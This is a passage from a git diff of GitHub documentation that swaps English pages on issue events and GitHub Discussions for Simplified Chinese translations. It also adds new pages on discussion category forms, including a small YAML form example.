| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.label-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.label-properties %} -## unlocked +## 未锁定 -The issue was unlocked. +议题已解锁。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided. +{% data reusables.issue-events.issue-event-common-properties %} `lock_reason` | `string` | 锁定问题或拉取请求对话的原因(如果已提供)。 ## unmarked_as_duplicate -An issue that a user had previously marked as a duplicate of another issue is no longer considered a duplicate, or a pull request that a user had previously marked as a duplicate of another pull request is no longer considered a duplicate. +先前被用户标记为另一个议题的重复项的议题不再被视为重复项,或者先前被用户标记为另一个拉取请求的重复项的拉取请求不再被视为重复项。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## unpinned -The issue was unpinned. +议题被取消置顶。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
| **X** | **X** | +|
  • 问题
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} -## unsubscribed +## 已取消订阅 -Someone unsubscribed from receiving notifications for an issue or pull request. +有人取消订阅了接收议题或拉取请求的通知。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| | **X** | +|
  • 问题
  • 拉取请求
| | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} {% ifversion fpt or ghec %} ## user_blocked -An organization owner blocked a user from the organization. This was done [through one of the blocked user's comments on the issue](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment). +组织所有者阻止了用户访问组织。 这是[通过被阻止的用户对该问题的注释之一](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment)完成的。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} diff --git a/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md b/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md index 00f75ff588..45d9e5622d 100644 --- a/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md +++ b/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -1,89 +1,60 @@ --- -title: Collaborating with maintainers using discussions +title: 使用讨论与维护者协作 shortTitle: Collaborating with maintainers -intro: 'You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion.' +intro: '您可以通过在讨论中与项目的维护者沟通,为 {% data variables.product.product_name %} 项目的目标、计划、运行状况和社区做出贡献。' permissions: 'People with read access to a repository can start and participate in discussions and polls in the repository. People with read access to the source repository for organization discussions can start and participate in discussions and polls in the organization. {% data reusables.enterprise-accounts.emu-permission-interact %}' versions: feature: discussions +ms.openlocfilehash: f090088d55e946e67c1f0b5d790deca9fd794a90 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410249' --- +## 关于使用 {% data variables.product.prodname_discussions %} 与维护者的协作 - -## About collaboration with maintainers using {% data variables.product.prodname_discussions %} - -{% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." +{% data reusables.discussions.about-discussions %} 如果您使用或参与某个项目,可以发起讨论,以提出建议,并就您的计划、问题、想法和反馈与维护者及社区成员进行互动。 有关详细信息,请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。 {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.about-announcement-format %} -Repository administrators and project maintainers can delete a discussion in that repository. Similarly, administrators and maintainers of the source repository for an organization's discussions can delete a discussion in that organization. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion)." +存储库管理员和项目维护者可以删除该存储库中的讨论。 同样,组织讨论的源存储库的管理员和维护者也可以删除该组织中的讨论。 有关详细信息,请参阅“[管理讨论](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion)”。 -{% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)" +{% data reusables.discussions.github-recognizes-members %} 这些成员出现在对项目讨论最有帮助的贡献者名单中。 随着项目的发展,您可以向社区的活动成员授予更高的访问权限。 有关详细信息,请参阅“[向顶级贡献者授予更高的权限](/discussions/guides/granting-higher-permissions-to-top-contributors)”。 -![Most helpful contributors to discussions for a project](/assets/images/help/discussions/most-helpful.png) +![对项目讨论最有帮助的贡献者](/assets/images/help/discussions/most-helpful.png) -Community members can upvote discussions and top-level comments inside discussions to communicate with maintainers about ideas that matter to them. Project maintainers can then sort discussions and comments based on upvotes to gain insight into what community members value. +有关参与讨论的详细信息,请参阅“[参与讨论](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)”。 -For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." +## 先决条件 -## Prerequisites +要在存储库讨论中与维护者合作,存储库管理员或项目维护者必须启用存储库的 {% data variables.product.prodname_discussions %}。 有关详细信息,请参阅“[启用或禁用存储库的 {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)”。 -To collaborate with maintainers in repository discussions, a repository administrator or project maintainer must enable {% data variables.product.prodname_discussions %} for the repository. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." +若要与组织讨论中的维护者开展协作,必须启用组织的 {% data variables.product.prodname_discussions %}。 有关详细信息,请参阅“[启用或禁用组织的 {% data variables.product.prodname_discussions %}](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)”。 -To collaborate with maintainers in organization discussions, {% data variables.product.prodname_discussions %} must be enabled for the organization. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)." - -## Starting a discussion +## 开始讨论 {% data reusables.discussions.starting-a-discussion %} -## Starting a poll +## 启动投票 {% data reusables.discussions.starting-a-poll %} -## Filtering the list of discussions +## 过滤讨论列表 -You can search for discussions and filter the list of discussions in a repository or organization. For more information, see "[Searching discussions](/search-github/searching-on-github/searching-discussions)." +你可以在存储库或组织中搜索讨论并筛选讨论列表。 有关详细信息,请参阅“[搜索讨论](/search-github/searching-on-github/searching-discussions)”。 -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results. - ![Search bar and buttons for filtering discussions](/assets/images/help/discussions/search-and-filter-controls.png) -1. In the list of discussions, click the discussion you want to view. - ![Discussion search results](/assets/images/help/discussions/search-result.png) +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} +1. 在“搜索所有讨论”字段中,键入搜索查询。 (可选)在搜索字段右侧,单击按钮以进一步过滤结果。 + ![用于筛选讨论的搜索栏和按钮](/assets/images/help/discussions/search-and-filter-controls.png) +1. 在讨论列表中,单击要查看的讨论。 + ![讨论搜索结果](/assets/images/help/discussions/search-result.png) -## Sorting the list of discussions +## 将议题转换为讨论 -You can choose how to sort the list of discussions. +{% data reusables.discussions.you-can-convert-an-issue %} 有关详细信息,请参阅“[主持讨论](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)”。 -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -1. To the right of the **Search all discussions** field, select **New**, or select **Top** and choose a time period from the drop down menu. +## 延伸阅读 - ![Buttons for sorting discussions](/assets/images/help/discussions/sort-discussions-buttons.png) - - - Sort by **New** to display the discussions with the most recent activity at the top of the list. - - Sort by **Top** to display the discussions with the most upvotes at the top of the list. You can limit the list to only display discussions from a specific time period. - -## Sorting top-level comments in discussions - -You can choose how to sort top-level comments in discussions. Comment threads do not impact the order comments are sorted in. - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. Under the main discussion post, select **Oldest**, **Newest**, or **Top**. - - ![Buttons for sorting comments in discussions](/assets/images/help/discussions/sort-comments-buttons.png) - - - Sort by **Oldest** to display the oldest top-level comments first. - - Sort by **Newest** to display the newest top-level comments first. - - Sort by **Top** to display the most upvoted top-level comments first. - -## Converting an issue to a discussion - -{% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." - -## Further reading - -- "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" -{%- ifversion fpt or ghec %} -- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)" -{%- endif %} +- [关于在 {% data variables.product.prodname_dotcom %} 上编写和设置格式](/github/writing-on-github/about-writing-and-formatting-on-github){%- ifversion fpt or ghec %} +- [维护 {% data variables.product.prodname_dotcom %} 上的安全](/communities/maintaining-your-safety-on-github){%- endif %} diff --git a/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md b/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md index ccfd537fc0..665e065b56 100644 --- a/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md +++ b/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -1,66 +1,40 @@ --- -title: Participating in a discussion -intro: 'You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}.' +title: 参与讨论 +intro: '您可以在仓库的论坛中与社区和维护者交流 {% data variables.product.product_name %} 上的项目。' permissions: 'People with read access to a repository can participate in discussions and polls in the repository. People with read access to the source repository for organization discussions can participate in discussions and polls in that organization. {% data reusables.enterprise-accounts.emu-permission-interact %}' versions: feature: discussions shortTitle: Participate in discussion +ms.openlocfilehash: 07db8d3583c218e592ca1b68171292e52fcfc12f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410233' --- +## 关于参与讨论 +{% data reusables.discussions.about-discussions %} 有关详细信息,请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。 -## About participation in a discussion +除了开始或查看讨论和投票之外,还可以对讨论作者的原始评论做出响应。 您还可以通过回复其他社区成员在讨论中进行的个人评论,以及使用表情符号对评论做出反应来创建评论线程。 -{% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." +{% ifversion fpt or ghec %}你可以阻止用户并报告破坏性内容,以便自己在 {% data variables.product.product_name %} 上保持一个安全愉快的环境。 有关详细信息,请参阅“[维护 {% data variables.product.prodname_dotcom %} 上的安全](/communities/maintaining-your-safety-on-github)”。{% endif %} -In addition to starting or viewing discussions and polls, you can: +## 先决条件 -- Comment in response to the original comment from the author of the discussion -- Create a comment thread by replying to an individual comment that another community member made within the discussion -- React to comments with emoji -- Upvote discussions and top-level comments to give them more visibility +必须对存储库或组织启用 {% data variables.product.prodname_discussions %},才可以参与存储库或组织中的讨论。 有关更多信息,请参阅“[为存储库启用或禁用 {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)”或“[为组织启用或禁用 GitHub Discussions](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)”。 -{% ifversion fpt or ghec %}You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)."{% endif %} - -## Prerequisites - -{% data variables.product.prodname_discussions %} must be enabled for the repository or organization for you to participate in a discussion in the repository or organization. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)" and "[Enabling or disabling GitHub Discussions for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)." - -## Creating a discussion +## 创建讨论 {% data reusables.discussions.starting-a-discussion %} -## Creating a poll +## 创建投票 {% data reusables.discussions.starting-a-poll %} -## Marking a comment as an answer +## 将评论标记为答案 -Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. -Similarly, discussion authors and users with the triage role or greater for the source repository for organization discussions can mark a comment as the answer to a discussion in the organization. +对于仓库具有分类角色或更高角色的讨论作者和用户可以将评论标记为仓库中讨论的答案。 +同样,对于组织讨论的源存储库,具有会审角色或更高权限的讨论作者和用户可将评论标记为组织中讨论的答案。 {% data reusables.discussions.marking-a-comment-as-an-answer %} - -## Upvoting a discussion - -You can upvote discussions to give more visibility to the topics that matter to you, and sort discussions to see which have been upvoted the most. For more information on sorting discussions, see "[Sorting the list of discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions#sorting-the-list-of-discussions)." - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.discussions.discussions-tab %} -1. In the list of discussions, find the discussion you want to upvote. -1. To the left of the discussion, click the upvote arrow. - - ![Discussion list and upvote button for upvoting discussions](/assets/images/help/discussions/upvote-discussion-button.png) -1. Optionally, click the upvote arrow again to remove your upvote. - -## Upvoting a comment - -You can upvote top-level comments in discussions, and sort top-level comments to see which comments have been upvoted the most. For more information on sorting comments, see "[Sorting top-level comments in discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions#sorting-top-level-comments-in-discussions)." - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the discussion, find a top-level comment you want to upvote. -1. Click on the upvote arrow at the bottom left of the comment. - - ![Top-level comment and upvote button for upvoting comments](/assets/images/help/discussions/upvote-comment-button.png) -1. Optionally, click the upvote arrow again to remove your upvote. diff --git a/translations/zh-CN/content/discussions/guides/finding-your-discussions.md b/translations/zh-CN/content/discussions/guides/finding-your-discussions.md index 5cf3819504..aabf4b797e 100644 --- a/translations/zh-CN/content/discussions/guides/finding-your-discussions.md +++ b/translations/zh-CN/content/discussions/guides/finding-your-discussions.md @@ -1,22 +1,26 @@ --- -title: Finding your discussions -intro: You can easily access every discussion you've created or participated in. +title: 查找讨论 +intro: 可以轻松访问你创建或参与的每个讨论。 versions: feature: discussions shortTitle: Find discussions redirect_from: - /discussions/guides/finding-discussions-across-multiple-repositories +ms.openlocfilehash: cef92d2d042ece7feeeb0364244a70520f12966d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883269' --- +## 查找讨论 +1. 在 {% data variables.product.product_location %} 的右上角,单击你的个人资料照片,然后单击“你的讨论”。 + ![{% data variables.product.product_name %} 上个人资料照片下拉菜单中的“你的讨论”](/assets/images/help/discussions/your-discussions.png) +1. 在“已创建”和“已批注”之间切换,以查看已创建或参与的讨论 。 -## Finding discussions +## 延伸阅读 -1. In the top-right corner of {% data variables.location.product_location %}, click your profile photo, then click **Your discussions**. - !["Your discussions" in drop-down menu for profile photo on {% data variables.product.product_name %}](/assets/images/help/discussions/your-discussions.png) -1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. - -## Further reading - -- "[Searching discussions](/search-github/searching-on-github/searching-discussions)" -- "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" -- "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" +- [搜索讨论](/search-github/searching-on-github/searching-discussions) +- [关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions) +- [管理社区的讨论](/discussions/managing-discussions-for-your-community) diff --git a/translations/zh-CN/content/discussions/managing-discussions-for-your-community/creating-discussion-category-forms.md b/translations/zh-CN/content/discussions/managing-discussions-for-your-community/creating-discussion-category-forms.md new file mode 100644 index 0000000000..2523923ee4 --- /dev/null +++ b/translations/zh-CN/content/discussions/managing-discussions-for-your-community/creating-discussion-category-forms.md @@ -0,0 +1,39 @@ +--- +title: 创建讨论类别表单 +shortTitle: Create discussion category forms +intro: 可以自定义社区成员在存储库中打开新讨论时可使用的模板。 +versions: + feature: discussion-category-forms +ms.openlocfilehash: f87bd6369bcb4f1b6e2e47fe11cd61626b1fbe7d +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193229' +--- +{% data reusables.discussions.discussion-category-forms-beta %} + +## 关于讨论类别表单 + +在存储库中使用讨论表单可以鼓励社区成员在其讨论中包含特定的结构化信息。 通过讨论类别表单,可以创建具有可自定义 Web 表单字段的讨论模板。 讨论表单使用 {% data variables.product.prodname_dotcom %} 表单架构以 YAML 编写。 有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 的表单架构语法](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema)”。 + +{% data reusables.actions.learn-more-about-yaml %} + +若要在存储库中使用讨论类别表单,必须创建一个新文件并将它添加到存储库中的 `/.github/DISCUSSION_TEMPLATE/` 文件夹。 + +还可以为组织创建讨论类别表单。 有关详细信息,请参阅“[创建默认社区运行状况文件](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)”。 + +投票不支持使用讨论类别表单。 有关投票的详细信息,请参阅“[关于投票](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-polls)”。 + +下面是议题表单的呈现版本。 + + ![呈现的讨论类别表单的屏幕截图](/assets/images/help/discussions/discussion-category-form-sample.png) + +## 创建讨论类别表单 + +对存储库具有写入权限的人员可以创建讨论类别窗体。 + +1. 导航到要在其中创建讨论类别表单的存储库。 +2. 在存储库中,创建一个名为 `/.github/DISCUSSION_TEMPLATE/FORM-NAME.yml` 的文件,然后将 `FORM-NAME` 替换为讨论类别表单的名称。 {% data reusables.discussions.discussion-category-forms-name %}有关在 GitHub 上创建新文件的详细信息,请参阅“[创建新文件](/github/managing-files-in-a-repository/creating-new-files)”。 +3. 在新文件的正文中,键入讨论类别表单的内容。 有关详细信息,请参阅“[讨论类别表单的语法](/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms)”。 +4. 将文件提交到仓库的默认分支。 有关详细信息,请参阅“[新建文件](/github/managing-files-in-a-repository/creating-new-files)”。 diff --git a/translations/zh-CN/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md b/translations/zh-CN/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md index bd69c78cb1..bc080bc218 100644 --- a/translations/zh-CN/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md +++ b/translations/zh-CN/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md @@ -1,68 +1,70 @@ --- -title: Managing categories for discussions -intro: 'You can categorize discussions to organize conversations for your community members, and you can choose a format for each category.' +title: 管理讨论类别 +intro: 可以对讨论进行分类,以组织社区成员的对话,也可为每个类别选择格式。 permissions: Repository administrators and people with write or greater access to a repository can manage categories for discussions in the repository. Repository administrators and people with write or greater access to the source repository for organization discussions can manage categories for discussions in the organization. versions: feature: discussions shortTitle: Manage categories redirect_from: - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository +ms.openlocfilehash: e16d25ad2bb72f4aea9b441529cb8e9a7a0fee48 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410465' --- - - -## About categories for discussions +## 关于讨论类别 {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.about-announcement-format %} -Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations. {% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." +每个类别必须具有唯一的名称和表情符号配对,并可以附有说明其用途的详细说明。 类别帮助维护者组织如何提交对话,并可自定义,以帮助区分问答或更多开放式对话的类别。 {% data reusables.discussions.repository-category-limit %} 有关详细信息,请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)”。 -## Default categories +## 默认类别 -| Category | Purpose | Format | +| 类别 | 用途 | 格式 | | :- | :- | :- | -| 📣 Announcements | Updates and news from project maintainers | Announcement | -| #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | -|💡 Ideas | Ideas to change or improve the project | Open-ended discussion | -| 🗳 Polls | Polls with multiple options for the community to vote for and discuss | Polls | -| 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | -| 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | +| 📣 公告 | 项目维护者提供的最新消息和新闻 | 公告 | +| #️⃣ 常规 | 与项目相关的任何及所有内容 | 开放式讨论 | +|💡 想法 | 改变或改进项目的想法 | 开放式讨论 | +| 🗳 投票 | 提供多个选项的投票,供社区进行投票和讨论 | 投票 | +| 🙏 问答 | 供社区回答的问题,使用问题/回答的形式 | 问答 | +| 🙌 展示和说明 | 与项目有关的创作、试验或测试 | 开放式讨论 | -## Creating a category +## 创建类别 -1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to create a category. +1. 在 {% data variables.product.product_location %} 上,导航到要在其中创建类别的存储库或组织的主页。 +{% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} +1. 单击“新建类别”。 + ![存储库讨论类别列表上方的“新建类别”按钮](/assets/images/help/discussions/click-new-category-button.png) +1. 编辑类别的表情符号、标题、说明和讨论格式。 有关讨论格式的详细信息,请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)”。 + ![新建类别的表情符号、标题、说明和讨论格式](/assets/images/help/discussions/edit-category-details.png) +1. 单击“创建”。 + ![新建类别的“创建”按钮](/assets/images/help/discussions/new-category-click-create-button.png) + +## 编辑类别 + +您可以编辑类别以更改类别的表情符号、标题、说明和讨论格式。 + +1. 在 {% data variables.product.product_location %} 上,导航到要在其中编辑类别的存储库或组织的主页。 {% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.edit-categories %} -1. Click **New category**. - !["New category" button above list of discussion categories for a repository](/assets/images/help/discussions/click-new-category-button.png) -1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." - ![Emoji, title, description, and discussion format for new category](/assets/images/help/discussions/edit-category-details.png) -1. Click **Create**. - !["Create" button for new category](/assets/images/help/discussions/new-category-click-create-button.png) +1. 在列表中类别右侧,单击 {% octicon "pencil" aria-label="The pencil icon" %}。 + ![存储库类别列表中类别右侧的“编辑”按钮](/assets/images/help/discussions/click-edit-for-category.png) +1. {% data reusables.discussions.edit-category-details %} ![编辑现有类别的表情符号、标题、说明和讨论格式](/assets/images/help/discussions/edit-existing-category-details.png) +1. 单击“保存更改”。 + ![现有类别的“保存更改”按钮](/assets/images/help/discussions/existing-category-click-save-changes-button.png) -## Editing a category +## 删除类别 -You can edit a category to change the category's emoji, title, description, and discussion format. +删除类别时,{% data variables.product.product_name %} 会将已删除类别中的所有讨论移到您选择的现有类别。 -1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to edit a category. +1. 在 {% data variables.product.product_location %} 上,导航到要在其中删除类别的存储库或组织的主页。 {% data reusables.discussions.discussions-tab %} -1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}. - ![Edit button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-edit-for-category.png) -1. {% data reusables.discussions.edit-category-details %} - ![Editing emoji, title, description, and discussion format for existing category](/assets/images/help/discussions/edit-existing-category-details.png) -1. Click **Save changes**. - !["Save changes" button for existing category](/assets/images/help/discussions/existing-category-click-save-changes-button.png) - -## Deleting a category - -When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. - -1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to delete a category. -{% data reusables.discussions.discussions-tab %} -1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}. - ![Trash button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-delete-for-category.png) -1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting. - ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/choose-new-category.png) -1. Click **Delete & Move**. - ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/click-delete-and-move-button.png) +1. 在列表中类别右侧,单击 {% octicon "trash" aria-label="The trash icon" %}。 + ![存储库类别列表中类别右侧的“回收站”按钮](/assets/images/help/discussions/click-delete-for-category.png) +1. 使用下拉菜单,为要删除的类别中的任何讨论选择新类别。 + ![删除现有类别时用于选择新建类别的下拉菜单](/assets/images/help/discussions/choose-new-category.png) +1. 单击“删除和移动”。 + ![删除现有类别时用于选择新建类别的下拉菜单](/assets/images/help/discussions/click-delete-and-move-button.png) diff --git a/translations/zh-CN/content/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms.md b/translations/zh-CN/content/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms.md new file mode 100644 index 0000000000..8f9f00a346 --- /dev/null +++ b/translations/zh-CN/content/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms.md @@ -0,0 +1,54 @@ +--- +title: 讨论类别表单的语法 +shortTitle: Syntax for discussion category forms +intro: 可以使用 YAML 语法定义讨论类别表单中的字段。 +versions: + feature: discussion-category-forms +ms.openlocfilehash: 73bb77967d5a7db3452e067c35d567a8279a0cb2 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193249' +--- +{% data reusables.discussions.discussion-category-forms-beta %} + +## 关于讨论类别表单的 YAML 语法 + +可以通过将 YAML 表单定义文件添加到存储库中的 `/.github/DISCUSSION_TEMPLATE/` 文件夹来创建自定义讨论类别表单。 {% data reusables.actions.learn-more-about-yaml %} + +{% data reusables.discussions.discussion-category-forms-name %} + +对于每个字段,可以定义输入类型、验证和默认标签。 + +当社区成员填写讨论表单时,他们对每个输入的响应都会转换为 Markdown 并添加到讨论正文中。 社区成员可以编辑使用讨论表单创建的讨论,其他人可以像通过其他方法创建的讨论一样与讨论进行交互。 + +此示例 YAML 配置文件定义一般讨论类别表单。 + +{% data reusables.discussions.discussion-category-forms-sample %} + +## 顶级语法 + +讨论类别表单的配置文件必须包含一个 `body` 键,并且 `body` 必须至少包含 1 个非 Markdown 字段。 + +```YAML{:copy} +body: +- type: input + id: suggestion + attributes: + label: Suggestion + description: "How might we make this project better?" + placeholder: "Adding a CODE_OF_CONDUCT.md file would be a great idea." + validations: + required: true +``` + +您可以为每个议题表单设置以下顶级键。 + +| 密钥 | 说明 | 必需 | 类型 | +| :-- | :-- | :-- | :-- | :-- | +| `body` | 在讨论表单中定义输入类型。 | 必需 | 数组 | +| `labels` | 将自动添加到此模板创建的讨论的标签。 | 可选 | 阵列或逗号分界的字符串 | +| `title` | 在讨论提交表单中预填的默认标题。 | 可选 | String | + +若要向表单添加字段,请在 `body` 键中包含表单元素数组。 有关可用元素及其语法的列表,请参阅“[{% data variables.product.prodname_dotcom %} 表单架构的语法](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema)”。 diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md 